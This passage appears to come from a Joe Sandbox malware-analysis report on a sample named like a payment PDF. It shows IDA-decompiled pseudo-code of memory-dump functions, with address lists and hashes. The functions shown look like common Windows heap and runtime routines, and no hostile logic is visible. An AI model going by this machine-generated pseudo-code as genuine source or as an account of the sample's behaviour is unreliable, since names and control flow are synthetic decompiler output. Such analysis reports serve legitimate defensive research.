															if(_t318 <= _t283) {
																goto L90;
															}
														}
													}
													asm("lock inc dword [edi]");
													_t285 = _v36;
													L33482330(_t254, _t285);
													_t159 = _t285 + 0x50; // 0x50
													L334779D1(_t159, _t372);
													__eflags = 0;
													_t160 = _t285 + 0x50; // 0x50
													E334777F9(_t160, 0);
													E334824D0(_t285);
												}
												L86:
												E33481BE7(_t372);
											}
											L87:
											_t161 = _t372 + 0x90; // 0x90
											_t245 = E334824D0(_t161);
										}
										_t246 = _t245 | 0xffffffff;
										__eflags = _t246;
										asm("lock xadd [edi], eax");
										if(_t246 == 0) {
											 *0x335691e0(_t372);
											_t246 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t372 + 4))))))();
										}
										goto L89;
									} else {
										_t326 = _t229[1];
										__eflags =  *_t326 - _t229;
										if( *_t326 != _t229) {
											goto L67;
										} else {
											 *_t326 = _t343;
											 *(_t343 + 4) = _t326;
											_t229[1] = _t229;
											 *_t229 = _t229;
											_push(_t278);
											while(1) {
												_t327 =  *_t343;
												__eflags = _t327 - _t343;
												if(_t327 == _t343) {
													break;
												}
												__eflags =  *((intOrPtr*)(_t327 + 0x14)) -  *((intOrPtr*)(_t343 + 0x14));
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L61:
														_t265 = _t327;
														_t327 = _t343;
														_t343 = _t265;
													} else {
														__eflags =  *((intOrPtr*)(_t327 + 0x10)) -  *((intOrPtr*)(_t343 + 0x10));
														if( *((intOrPtr*)(_t327 + 0x10)) <  *((intOrPtr*)(_t343 + 0x10))) {
															goto L61;
														}
													}
												}
												_t263 =  *_t327;
												__eflags =  *(_t263 + 4) - _t327;
												if( *(_t263 + 4) != _t327) {
													goto L67;
												} else {
													_t278 =  *(_t327 + 4);
													__eflags =  *_t278 - _t327;
													if( *_t278 != _t327) {
														goto L67;
													} else {
														 *_t278 = _t263;
														 *(_t263 + 4) = _t278;
														_t113 = _t343 + 8; // 0xa0
														_t264 = _t113;
														_t278 =  *_t264;
														__eflags =  *(_t278 + 4) - _t264;
														if( *(_t278 + 4) != _t264) {
															goto L67;
														} else {
															 *_t327 = _t278;
															 *(_t327 + 4) = _t264;
															 *(_t278 + 4) = _t327;
															 *_t264 = _t327;
															_t343 =  *_t343;
															continue;
														}
													}
												}
												goto L106;
											}
											 *_t382 = _t343;
											goto L53;
										}
									}
								} else {
									 *_t382 =  *_t382 & 0x00000000;
									__eflags =  *_t382;
									goto L53;
								}
							}
						} else {
							_t268 = _t360 - 0x18;
							 *_t268 = _t225;
							 *((intOrPtr*)(_t268 + 4)) = _t299;
							 *_t299 = _t268;
							_v64 = _t268;
							continue;
						}
					}
					L106:
				}
				_t200 = _t380[3];
				__eflags = _t200;
				if(_t200 != 0) {
					_t361 =  *(_t334 + 0x10);
					asm("sbb eax, edx");
					_v76 =  *((intOrPtr*)(_t334 + 0x14));
					_t202 = E334B6310( *((intOrPtr*)(_t200 + 0x10)) - _t361,  *((intOrPtr*)(_t200 + 0x14)), 0x2710, 0);
					_t292 = _v92;
					_v68 = _t202;
					_t380[0x11] = _t202;
					__eflags = _v76;
					 *_t380 = _t361;
					_t380[1] = _t292;
					_v36 = _t202 * 0x2710;
					_v32 = _t202 * 0x2710 >> 0x20;
					if(_v76 == 0) {
						_t224 = _v72 - _t361;
						__eflags = _t224;
						_t361 = _t224;
						asm("sbb ebx, ecx");
						_t292 = _t278;
						_v76 = _t292;
					}
					_v36 = _t361;
					_v32 = _t292;
					_t204 = L33483C40();
					__eflags = _t204;
					if(_t204 != 0) {
						_t207 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t207 = 0x7ffe0386;
					}
					__eflags =  *_t207;
					if( *_t207 != 0) {
						_t340 = _v52;
						E33545149(_t380, _v52, _t361, _v76);
					}
					_push( &_v28);
					_push(0);
					_push( &_v36);
					_push(_t380[4]);
					E334B4490();
				} else {
					 *_t380 =  *_t380 & _t200;
					_t49 =  &(_t380[1]);
					 *_t49 = _t380[1] & _t200;
					__eflags =  *_t49;
				}
				_t279 = _v56;
				E334824D0(_t279);
				_t362 = _v72;
				while(1) {
					__eflags = _t362 -  &_v68;
					if(_t362 ==  &_v68) {
						break;
					}
					_push(_v60);
					_t340 = _t279;
					_t362 =  *_t362;
					L68();
				}
				_t214 = L33483C40();
				__eflags = _t214;
				if(_t214 != 0) {
					_t217 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t217 = 0x7ffe0386;
				}
				__eflags =  *_t217;
				if( *_t217 != 0) {
					E3354505B(_t380);
				}
				_push(0);
				_push(_v60 & 0x000000ff);
				_push(0);
				_push(_t279);
				_push( &(_t380[6]));
				_push(_t380[4]);
				_push( *((intOrPtr*)(_t279 - 0x18)));
				_push(_t380[5]);
				_t221 = E334B32B0();
				_pop(_t363);
				_pop(_t381);
				_pop(_t280);
				__eflags = _v40 ^ _t398;
				return E334B4B50(_t221, _t280, _v40 ^ _t398, _t340, _t363, _t381);
				goto L106;
			}

0x33477293
0x33477298
0x334772a2
0x334772a9
0x334772b4
0x334772b8
0x334772bc
0x334772c0
0x334772c4
0x334772cb
0x3347751c
0x33477527
0x33477527
0x3347752b
0x33477531
0x33477533
0x00000000
0x00000000
0x3347753c
0x3347753c
0x33477535
0x334772d1
0x334772d1
0x334772d5
0x334772d5
0x334772da
0x334772da
0x334772da
0x334772da
0x334772e4
0x334772e8
0x334772ed
0x334772f9
0x33477300
0x33477304
0x33477304
0x33477306
0x3347730c
0x00000000
0x00000000
0x33477540
0x33477540
0x33477312
0x33477312
0x33477316
0x3347731b
0x3347731d
0x33477320
0x33477324
0x3347732e
0x33477333
0x33477339
0x3347734b
0x3347734d
0x33477353
0x33477357
0x33477359
0x33477359
0x3347735b
0x3347735f
0x33477363
0x33477364
0x33477369
0x334d16a0
0x33477378
0x33477378
0x33477378
0x3347737f
0x33477383
0x33477387
0x33477392
0x334d16b3
0x33477398
0x33477398
0x33477398
0x334773a0
0x334d16bf
0x334d16bf
0x334773a7
0x334773ac
0x334773af
0x334773b1
0x334773b5
0x00000000
0x00000000
0x334773b7
0x334773ba
0x00000000
0x334773c7
0x334773c9
0x334773ce
0x334773d4
0x334773d9
0x334773dd
0x334773e1
0x334773e7
0x33477547
0x33477549
0x3347754a
0x3347754c
0x3347754e
0x33477550
0x3347755f
0x33477561
0x33477564
0x33477597
0x33477597
0x33477599
0x3347759a
0x33477566
0x33477566
0x33477567
0x3347756a
0x3347756b
0x3347756d
0x00000000
0x3347756f
0x3347756f
0x33477571
0x33477574
0x33477574
0x33477577
0x3347757a
0x3347757c
0x3347757e
0x33477580
0x33477583
0x00000000
0x33477585
0x33477585
0x33477587
0x3347758a
0x3347758d
0x3347758f
0x33477591
0x33477592
0x33477594
0x00000000
0x33477594
0x33477583
0x3347756d
0x33477552
0x33477552
0x33477552
0x33477556
0x33477556
0x3347759e
0x3347759f
0x334775a1
0x334775a2
0x334775a4
0x334775a6
0x334775b4
0x334775b8
0x334775a8
0x334775a8
0x334775ab
0x334775ad
0x334775af
0x334775b9
0x334775bc
0x3347761e
0x3347761e
0x33477620
0x33477621
0x33477625
0x3347762b
0x3347762c
0x3347762d
0x3347762e
0x33477630
0x33477632
0x33477635
0x33477638
0x3347763d
0x3347763f
0x334d171a
0x33477645
0x33477645
0x33477645
0x3347764a
0x3347764d
0x334d1728
0x334d1737
0x334d1737
0x00000000
0x33477653
0x33477653
0x33477653
0x33477653
0x33477653
0x33477653
0x3347765d
0x33477663
0x33477666
0x33477673
0x33477676
0x3347767f
0x3347767f
0x33477681
0x33477685
0x33477687
0x00000000
0x00000000
0x334777f2
0x334777f2
0x3347768d
0x3347768d
0x33477695
0x33477698
0x3347769a
0x3347769d
0x334776a0
0x334776a0
0x334776a5
0x334776a5
0x334776a9
0x334776ae
0x334776b4
0x334776b7
0x334776ba
0x334776ba
0x334776be
0x334776be
0x334776c6
0x334776c8
0x334776ca
0x334776cd
0x334776cf
0x334776d6
0x334776db
0x334776e3
0x334776e9
0x334776eb
0x334d1747
0x334d174e
0x334d1754
0x334d175a
0x334d1760
0x334d1766
0x334d176d
0x334776f1
0x334776f1
0x334776f7
0x334777cf
0x334777d5
0x334777dd
0x334777e2
0x334777e4
0x00000000
0x334777e6
0x00000000
0x334777e6
0x33477797
0x3347779b
0x00000000
0x334776fd
0x334776fd
0x33477703
0x33477705
0x33477707
0x3347770a
0x334777e8
0x334777ea
0x33477710
0x33477716
0x3347771c
0x3347771c
0x3347771f
0x33477726
0x33477726
0x33477728
0x3347772a
0x3347772d
0x33477730
0x33477732
0x33477735
0x33477738
0x3347773b
0x33477741
0x33477747
0x33477749
0x3347774b
0x3347779e
0x334777a9
0x334777ae
0x334777b8
0x334777bb
0x334777bf
0x334777c5
0x334777c7
0x3347774d
0x3347774d
0x3347774f
0x00000000
0x00000000
0x3347774f
0x3347774b
0x33477751
0x33477754
0x33477758
0x3347775f
0x33477762
0x33477767
0x33477769
0x3347776c
0x33477772
0x33477772
0x33477777
0x33477779
0x33477779
0x3347777e
0x3347777e
0x33477785
0x33477785
0x3347778a
0x3347778a
0x3347778d
0x33477791
0x334d177f
0x334d1785
0x334d1785
0x00000000
0x334775be
0x334775be
0x334775c1
0x334775c3
0x00000000
0x334775c5
0x334775c5
0x334775c7
0x334775ca
0x334775cd
0x334775cf
0x334775d0
0x334775d0
0x334775d2
0x334775d4
0x00000000
0x00000000
0x334775d9
0x334775dc
0x334775de
0x334775e8
0x334775e8
0x334775ea
0x334775ec
0x334775e0
0x334775e3
0x334775e6
0x00000000
0x00000000
0x334775e6
0x334775de
0x334775ee
0x334775f0
0x334775f3
0x00000000
0x334775f5
0x334775f5
0x334775f8
0x334775fa
0x00000000
0x334775fc
0x334775fc
0x334775fe
0x33477601
0x33477601
0x33477604
0x33477606
0x33477609
0x00000000
0x3347760b
0x3347760b
0x3347760d
0x33477610
0x33477613
0x33477615
0x00000000
0x33477615
0x33477609
0x334775fa
0x00000000
0x334775f3
0x33477619
0x00000000
0x3347761b
0x334775c3
0x334775b1
0x334775b1
0x334775b1
0x00000000
0x334775b1
0x334775af
0x334773ed
0x334773ef
0x334773f2
0x334773f4
0x334773f7
0x334773f9
0x00000000
0x334773f9
0x334773e7
0x00000000
0x334773ba
0x334773ff
0x33477402
0x33477404
0x33477485
0x33477490
0x33477492
0x334774a0
0x334774a5
0x334774ae
0x334774b2
0x334774b7
0x334774bc
0x334774be
0x334774c1
0x334774c5
0x334774c9
0x334774cf
0x334774cf
0x334774d1
0x334774d3
0x334774d5
0x334774d7
0x334774d7
0x334774db
0x334774df
0x334774e3
0x334774e8
0x334774ea
0x334d16d2
0x334774f0
0x334774f0
0x334774f0
0x334774f5
0x334774f8
0x334d16e3
0x334d16e8
0x334d16e8
0x33477502
0x33477503
0x33477509
0x3347750a
0x3347750d
0x33477406
0x33477406
0x33477408
0x33477408
0x33477408
0x33477408
0x3347740b
0x33477410
0x33477415
0x3347742e
0x33477432
0x33477434
0x00000000
0x00000000
0x3347741b
0x33477425
0x33477427
0x33477429
0x33477429
0x33477436
0x3347743b
0x3347743d
0x334d16fb
0x33477443
0x33477443
0x33477443
0x33477448
0x3347744b
0x334d1707
0x334d1707
0x33477456
0x33477458
0x33477459
0x3347745b
0x3347745f
0x33477460
0x33477463
0x33477466
0x33477469
0x33477472
0x33477473
0x33477474
0x33477475
0x3347747f
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1da333afbe19e53d895595268ecbdcc7a071ea355f96b0b9fb7bf43ec417aa4a
Instruction ID: 1901f587935aac24dc54464d2cd9714604dff4dd3dbf4e344a3658f0f1f9d4c5
Opcode Fuzzy Hash: 1da333afbe19e53d895595268ecbdcc7a071ea355f96b0b9fb7bf43ec417aa4a
Instruction Fuzzy Hash: 53A15A75608342CFD314CF28C580A6ABBF9BF88344F54496DF5A49B750EB30E945CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 3352B0AF Relevance: .2, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E3352B0AF(signed int __ecx, signed char __edx, signed int _a4, signed int _a8, void* _a12, signed int* _a16, short* _a20) {
				void* _v8;
				signed char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				char _v36;
				signed int _t73;
				signed int _t77;
				void* _t86;
				void* _t91;
				signed int _t97;
				signed int _t101;
				signed int _t113;
				signed int _t114;
				signed int _t116;
				intOrPtr _t119;
				signed int _t122;
				intOrPtr _t124;
				signed char _t127;
				signed int _t129;
				void* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t134;
				intOrPtr _t139;
				void* _t140;
				signed int* _t141;
				short* _t142;
				signed int _t143;

				_t127 = __edx;
				_t140 = 0;
				_v12 = __edx;
				_v24 = _v24 & 0;
				_t113 = __ecx;
				_t116 = _a8;
				_t73 = 0;
				_v28 = __ecx;
				_v8 = 0;
				_v16 = 0;
				_t137 = _a4;
				if(__edx != _t116) {
					if(__edx == 0 || _t116 == 0) {
						L53:
						_t114 = 0;
						goto L54;
					} else {
						_t142 = _a20;
						if(_t142 != 0) {
							 *_t142 = 0xffffffff;
						}
						if(_t127 != 2) {
							if(_t116 != 2) {
								if(_t127 != 1) {
									if(_t127 != 3 || _t116 != 1) {
										goto L52;
									} else {
										_t130 = 0x55;
										_t140 = L3346D818(_t116, _t130);
										if(_t140 == 0) {
											goto L53;
										}
										_v32 = _t140;
										_v36 = 0xaa0000;
										if(L33494F40(_a12,  &_v36) == 0) {
											goto L53;
										}
										_t131 =  *((intOrPtr*)(_t113 + 0x18));
										_t137 = _a4;
										if(_t131 == 0 || _t137 < 0) {
											L48:
											_t86 = 0;
											goto L49;
										} else {
											_t122 = _t137;
											if(_t122 >= ( *(_t131 + 6) & 0x0000ffff)) {
												goto L48;
											}
											_t86 =  *((intOrPtr*)(_t131 + 0x10)) +  *( *((intOrPtr*)(_t131 + 0xc)) + _t122 * 2) * 2;
											L49:
											if(_t86 == 0 || L334B79A0(_v32, _t86) != 0) {
												goto L53;
											} else {
												_t114 = 1;
												L54:
												if(_t140 != 0) {
													E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t140);
												}
												goto L11;
											}
										}
									}
								}
								if(_t116 != 3) {
									goto L52;
								}
								_t132 =  *((intOrPtr*)(_t113 + 0x18));
								if(_t132 == 0) {
									L36:
									_t91 = 0;
									L37:
									if(_t91 == 0) {
										goto L52;
									}
									E334B5050(_t116,  &_v36, _t91);
									if(E334956E0( &_v36,  &_v20) == 0) {
										goto L52;
									}
									_t137 = _a4;
									_t114 = _t113 & 0xffffff00 | _a4 == _v20;
									goto L11;
								}
								_t97 = _a12;
								if(_t97 < 0) {
									goto L36;
								}
								_t116 = _t97;
								if(_t116 >= ( *(_t132 + 6) & 0x0000ffff)) {
									goto L36;
								}
								_t91 =  *((intOrPtr*)(_t132 + 0x10)) + _t116 * 2;
								goto L37;
							}
							if(_t113 == 0) {
								goto L52;
							}
							_t101 = _a12;
							if(_t101 < 0) {
								goto L52;
							}
							_t124 =  *((intOrPtr*)(_t113 + 0x14));
							_v20 = _t101;
							if(_v20 >= ( *(_t124 + 6) & 0x0000ffff)) {
								goto L52;
							}
							_t137 = _a4;
							_v16 = _v20 * 0x1c +  *((intOrPtr*)(_t124 + 0xc));
							_t114 = E3352BB40(_t113, _v20 * 0x1c +  *((intOrPtr*)(_t124 + 0xc)), _t127, _a4);
							_t73 = _v16;
							if(_t114 == 0 || _t73 == 0) {
								_t127 = _v12;
								goto L13;
							} else {
								_t127 = _v12;
								if(_t142 == 0) {
									goto L13;
								}
								 *_t142 = _a12;
								goto L12;
							}
						} else {
							if(_t113 == 0 || _t137 < 0) {
								L52:
								_t140 = _v8;
								goto L53;
							} else {
								_t134 =  *((intOrPtr*)(_t113 + 0x14));
								_t143 = _t137;
								if(_t143 >= ( *(_t134 + 6) & 0x0000ffff)) {
									goto L52;
								}
								_v24 = _t143 * 0x1c +  *((intOrPtr*)(_t134 + 0xc));
								_t114 = E3352BB40(_t113, _t143 * 0x1c +  *((intOrPtr*)(_t134 + 0xc)), _t116, _a12);
								L11:
								_t127 = _v12;
								L12:
								_t73 = _v16;
								L13:
								_t141 = _a16;
								if(_t141 == 0) {
									L58:
									return _t114;
								}
								if(_t114 == 0) {
									 *_t141 =  *_t141 & 0x00000000;
									goto L58;
								}
								if(_t73 != 0) {
									L21:
									 *_t141 = _t73;
									goto L58;
								}
								_t73 = _v24;
								if(_t73 != 0) {
									goto L21;
								}
								 *_t141 =  *_t141 & _t73;
								_t139 = _v28;
								if(L33494EDF(_t139, _t127 & 0x000000ff, _t137,  &_v8) < 0) {
									goto L58;
								}
								_t77 = _v8;
								if(0 > _t77) {
									goto L58;
								}
								_t119 =  *((intOrPtr*)(_t139 + 0x14));
								_t129 = _t77;
								if(_t129 >= ( *(_t119 + 6) & 0x0000ffff)) {
									goto L58;
								}
								_t73 = _t129 * 0x1c +  *((intOrPtr*)(_t119 + 0xc));
								goto L21;
							}
						}
					}
				}
				_t114 = __ecx & 0xffffff00 | _t137 == _a12;
				goto L13;
			}

0x3352b0af
0x3352b0b9
0x3352b0bb
0x3352b0be
0x3352b0c1
0x3352b0c3
0x3352b0c6
0x3352b0c8
0x3352b0cb
0x3352b0ce
0x3352b0d2
0x3352b0d7
0x3352b0e4
0x3352b309
0x3352b309
0x00000000
0x3352b0f2
0x3352b0f2
0x3352b0f7
0x3352b0fc
0x3352b0fc
0x3352b102
0x3352b1b4
0x3352b224
0x3352b293
0x00000000
0x3352b29a
0x3352b29c
0x3352b2a2
0x3352b2a6
0x00000000
0x00000000
0x3352b2ab
0x3352b2b4
0x3352b2c2
0x00000000
0x00000000
0x3352b2c4
0x3352b2c7
0x3352b2cc
0x3352b2ed
0x3352b2ed
0x00000000
0x3352b2d3
0x3352b2d7
0x3352b2dc
0x00000000
0x00000000
0x3352b2e8
0x3352b2ef
0x3352b2f1
0x00000000
0x3352b302
0x3352b302
0x3352b30b
0x3352b30d
0x3352b31f
0x3352b31f
0x00000000
0x3352b30d
0x3352b2f1
0x3352b2cc
0x3352b293
0x3352b229
0x00000000
0x00000000
0x3352b22f
0x3352b234
0x3352b258
0x3352b258
0x3352b25a
0x3352b25c
0x00000000
0x00000000
0x3352b267
0x3352b27b
0x00000000
0x00000000
0x3352b281
0x3352b288
0x00000000
0x3352b288
0x3352b236
0x3352b23c
0x00000000
0x00000000
0x3352b23e
0x3352b247
0x00000000
0x00000000
0x3352b253
0x00000000
0x3352b253
0x3352b1b8
0x00000000
0x00000000
0x3352b1be
0x3352b1c4
0x00000000
0x00000000
0x3352b1ca
0x3352b1ce
0x3352b1d8
0x00000000
0x00000000
0x3352b1e2
0x3352b1ee
0x3352b1f6
0x3352b1f8
0x3352b1fd
0x3352b329
0x00000000
0x3352b20b
0x3352b20b
0x3352b210
0x00000000
0x00000000
0x3352b219
0x00000000
0x3352b219
0x3352b108
0x3352b10a
0x3352b306
0x3352b306
0x00000000
0x3352b119
0x3352b119
0x3352b11c
0x3352b125
0x00000000
0x00000000
0x3352b139
0x3352b141
0x3352b143
0x3352b143
0x3352b146
0x3352b146
0x3352b149
0x3352b149
0x3352b14e
0x3352b334
0x3352b33a
0x3352b33a
0x3352b156
0x3352b331
0x00000000
0x3352b331
0x3352b15e
0x3352b1aa
0x3352b1aa
0x00000000
0x3352b1aa
0x3352b160
0x3352b165
0x00000000
0x00000000
0x3352b167
0x3352b16e
0x3352b17d
0x00000000
0x00000000
0x3352b183
0x3352b18c
0x00000000
0x00000000
0x3352b192
0x3352b195
0x3352b19e
0x00000000
0x00000000
0x3352b1a7
0x00000000
0x3352b1a7
0x3352b10a
0x3352b102
0x3352b0e4
0x3352b0dd
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bd6bb45f2ff03ac3460fc56b718573f81f2f6c7441370bccea4be0320480504
Instruction ID: 73a0727ef31687ec247bf899be0fddc64a93c64b698006aed685ae7895ed3a3d
Opcode Fuzzy Hash: 3bd6bb45f2ff03ac3460fc56b718573f81f2f6c7441370bccea4be0320480504
Instruction Fuzzy Hash: D871C075E0032A8FDF04CF55E480AAFBBB9AF54790F99451AE840EB280E774D981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 3353A6C0 Relevance: .2, Instructions: 222
COMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E3353A6C0(signed char* __ecx, signed int __edx, signed int _a4, intOrPtr* _a8) {
				signed int _v8;
				char _v12;
				signed int _v16;
				signed char _v20;
				signed int _v28;
				signed int _v32;
				unsigned int _v36;
				signed int _v40;
				void* __ebx;
				void* __esi;
				intOrPtr _t84;
				signed int _t91;
				signed int _t92;
				intOrPtr* _t104;
				char _t110;
				signed int _t112;
				char* _t113;
				char _t117;
				intOrPtr* _t135;
				signed int _t136;
				unsigned int _t139;
				signed int _t152;
				signed int _t158;
				signed char _t159;
				unsigned int _t171;
				signed int _t175;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed char* _t196;
				intOrPtr* _t202;

				_t135 = _a8;
				_t196 = __ecx;
				_t84 =  *((intOrPtr*)(_t135 + 0x10));
				_t190 = __edx;
				_v28 = __edx;
				_t171 =  *((intOrPtr*)(_t135 + 4)) + 0xfff >> 0xc;
				_v40 = __ecx;
				_t139 = _t84 + 0xfff >> 0xc;
				_v16 = _t139;
				_v16 = _v16 << 0xc;
				_v36 = _t171;
				_v32 = _t139;
				if(_v16 >= _t84) {
					__eflags = _t139 - _t171;
					if(_t139 > _t171) {
						L36:
						__eflags = _t190 & 0x02000000;
						if((_t190 & 0x02000000) != 0) {
							goto L1;
						}
						_t191 = L335399CA(_t196, _a4, _t135, _t190);
						L38:
						return _t191;
					}
					_v20 = __ecx[4];
					__eflags =  *__ecx >> 8 - 2;
					if( *__ecx >> 8 < 2) {
						L5:
						__eflags =  *(_t196 + 0xc) & 0x04000000;
						if(( *(_t196 + 0xc) & 0x04000000) != 0) {
							goto L36;
						} else {
							E334C7B54(_t196, _t190);
							_t91 = _t196 + 0x44;
							__eflags =  *(_t91 + 4) & 0x00000001;
							_t136 =  *_t91;
							if(( *(_t91 + 4) & 0x00000001) != 0) {
								__eflags = _t136;
								if(_t136 == 0) {
									_t136 = 0;
									__eflags = 0;
								} else {
									_t136 = _t136 ^ _t91;
								}
							}
							_t92 = _a4;
							_t175 =  *(_t91 + 4) & 1;
							while(1) {
								__eflags = _t136;
								if(_t136 == 0) {
									break;
								}
								_t143 =  *(_t136 + 0xc) & 0xffff0000;
								__eflags = _t92 - ( *(_t136 + 0xc) & 0xffff0000);
								if(__eflags < 0) {
									_t143 =  *_t136;
									L15:
									__eflags = _t175;
									if(_t175 == 0) {
										L18:
										_t136 = _t143;
										continue;
									}
									__eflags = _t143;
									if(_t143 == 0) {
										goto L18;
									}
									_t136 = _t136 ^ _t143;
									continue;
								}
								if(__eflags <= 0) {
									break;
								}
								_t143 =  *(_t136 + 4);
								goto L15;
							}
							__eflags = _t136;
							if(_t136 != 0) {
								_t192 =  *(_t136 + 0x10);
								_t29 = (1 << (_t192 >> 0x00000002 & 0x0000003f)) - 1; // 0x0
								_t202 = _v40;
								_v20 = ((_t192 >> 0x00000001 & 0x00000001) + (_t192 >> 0xc) << 0xc) - 1 + (1 << (_t192 >> 0x00000002 & 0x0000003f)) - (((_t192 >> 0x00000001 & 0x00000001) + (_t192 >> 0x0000000c) << 0x0000000c) - 0x00000001 + 1 & _t29);
								 *(_t136 + 0x10) = _t192 & 0x00000fff | _v32 << 0x0000000c;
								_t195 = _v28;
								 *(_t136 + 0xc) = (_v32 << 0xc) -  *((intOrPtr*)(_a8 + 0xc));
								E334C7B8C(_t202, _v28, _a8);
								_t104 = _a8;
								__eflags =  *(_t104 + 8);
								if( *(_t104 + 8) == 0) {
									_t191 = _a4;
								} else {
									_t191 = _a4;
									E335385B0(_t191,  *_t104, _t202, _t191,  *((intOrPtr*)(_t104 + 0xc)), _t195);
								}
								_t152 = _v32;
								__eflags = _t152 - _v36;
								if(_t152 < _v36) {
									_push( *((intOrPtr*)(_t202 + 4)));
									_push( *_t202);
									_t110 = (( *(_t136 + 0x10) >> 0x00000001 & 0x00000001) + _t152 << 0xc) + _t191;
									_v12 = _t110;
									_v8 = _v20 - _t110 + _t191;
									_push(0x8000);
									L33538845( &_v12,  &_v8);
									_t112 = L33483C40();
									__eflags = _t112;
									if(_t112 == 0) {
										_t113 = 0x7ffe0388;
									} else {
										_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
									}
									__eflags =  *_t113;
									if( *_t113 != 0) {
										E3352DA30(_t136, _t202, _v12, _v8);
									}
									_v20 = _v20 - _v8;
									_t117 = _v16 + _t191;
									_t158 = _v12 - _t117;
									__eflags = _t158;
									_v12 = _t117;
									_v8 = _t158;
									if(_t158 != 0) {
										_push( *((intOrPtr*)(_t202 + 4)));
										_push( *_t202);
										_push(0x4000);
										L33538845( &_v12,  &_v8);
									}
									_t159 = _v20;
									asm("bsf ecx, ecx");
									_v40 = _t159;
									__eflags = _t159 - ( *(_t136 + 0x10) >> 0x00000002 & 0x0000003f);
									if(_t159 != ( *(_t136 + 0x10) >> 0x00000002 & 0x0000003f)) {
										E334C7B54(_t202, _v28);
										_t75 = _t136 + 0x10;
										 *_t75 =  *(_t136 + 0x10) ^ (_v40 << 0x00000002 ^  *(_t136 + 0x10)) & 0x000000fc;
										__eflags =  *_t75;
										E334C7B8C(_t202, _v28, _v40);
									}
									asm("lock xadd [eax], ecx");
									asm("lock xadd [eax], edx");
								}
							} else {
								E334C7B8C(_t196, _t190, _t143);
								_t191 = _t190 | 0xffffffff;
							}
							goto L38;
						}
					}
					__eflags =  *__ecx & 0x00000006;
					if(( *__ecx & 0x00000006) == 0) {
						goto L36;
					}
					goto L5;
				}
				L1:
				_t191 = 0;
				goto L38;
			}

0x3353a6c9
0x3353a6cd
0x3353a6d0
0x3353a6d3
0x3353a6de
0x3353a6e1
0x3353a6ea
0x3353a6ed
0x3353a6f0
0x3353a6f3
0x3353a6f7
0x3353a6fa
0x3353a700
0x3353a709
0x3353a70b
0x3353a917
0x3353a917
0x3353a91d
0x00000000
0x00000000
0x3353a92f
0x3353a931
0x3353a937
0x3353a937
0x3353a714
0x3353a71c
0x3353a71e
0x3353a729
0x3353a729
0x3353a730
0x00000000
0x3353a736
0x3353a73a
0x3353a73f
0x3353a742
0x3353a746
0x3353a748
0x3353a74a
0x3353a74c
0x3353a752
0x3353a752
0x3353a74e
0x3353a74e
0x3353a74e
0x3353a74c
0x3353a758
0x3353a75b
0x3353a784
0x3353a784
0x3353a786
0x00000000
0x00000000
0x3353a763
0x3353a769
0x3353a76b
0x3353a774
0x3353a776
0x3353a776
0x3353a778
0x3353a782
0x3353a782
0x00000000
0x3353a782
0x3353a77a
0x3353a77c
0x00000000
0x00000000
0x3353a77e
0x00000000
0x3353a77e
0x3353a76d
0x00000000
0x00000000
0x3353a76f
0x00000000
0x3353a76f
0x3353a788
0x3353a78a
0x3353a79e
0x3353a7c5
0x3353a7d2
0x3353a7dc
0x3353a7ea
0x3353a7ed
0x3353a7fc
0x3353a800
0x3353a805
0x3353a808
0x3353a80c
0x3353a821
0x3353a80e
0x3353a814
0x3353a81a
0x3353a81a
0x3353a824
0x3353a827
0x3353a82a
0x3353a836
0x3353a83b
0x3353a848
0x3353a84c
0x3353a851
0x3353a857
0x3353a85c
0x3353a861
0x3353a866
0x3353a868
0x3353a87a
0x3353a86a
0x3353a873
0x3353a873
0x3353a87f
0x3353a882
0x3353a88c
0x3353a88c
0x3353a89a
0x3353a8a0
0x3353a8a2
0x3353a8a2
0x3353a8a4
0x3353a8a7
0x3353a8aa
0x3353a8ac
0x3353a8b2
0x3353a8b7
0x3353a8bc
0x3353a8bc
0x3353a8c1
0x3353a8c7
0x3353a8d0
0x3353a8d3
0x3353a8d5
0x3353a8dc
0x3353a8f4
0x3353a8f4
0x3353a8f4
0x3353a8fa
0x3353a8fa
0x3353a90a
0x3353a911
0x3353a911
0x3353a78c
0x3353a791
0x3353a796
0x3353a796
0x00000000
0x3353a78a
0x3353a730
0x3353a720
0x3353a723
0x00000000
0x00000000
0x00000000
0x3353a723
0x3353a702
0x3353a702
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
